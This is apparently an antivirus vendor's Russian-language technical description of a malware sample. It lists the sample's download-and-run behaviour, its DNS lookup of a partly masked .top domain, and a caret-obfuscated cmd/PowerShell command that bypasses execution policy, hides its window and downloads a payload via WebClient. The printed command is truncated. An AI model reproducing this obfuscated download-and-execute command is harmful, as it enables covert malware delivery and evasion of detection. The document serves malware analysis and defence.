Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://vv###otad.top/read.php?f=##### как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "Po^W^Er^shE^ll.^eXe^ -eXec^U^T^I^onPO^Li^cY byP^A^sS -nop^rofile ^-WI^Nd^oWS^TYL^e^ ^H^i^dD^en (^nE^w^-OBj^E^CT^ s^YstE^m^.NEt.W^ebclieNT).dO^WnLOadFI^L^E^('http://vv###otad.top/...
Сетевая активность
UDP
- DNS ASK vv###otad.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "Po^W^Er^shE^ll.^eXe^ -eXec^U^T^I^onPO^Li^cY byP^A^sS -nop^rofile ^-WI^Nd^oWS^TYL^e^ ^H^i^dD^en (^nE^w^-OBj^E^CT^ s^YstE^m^.NEt.W^ebclieNT).dO^WnLOadFI^L^E^('http://vv###otad.top/...' (со скрытым окном)
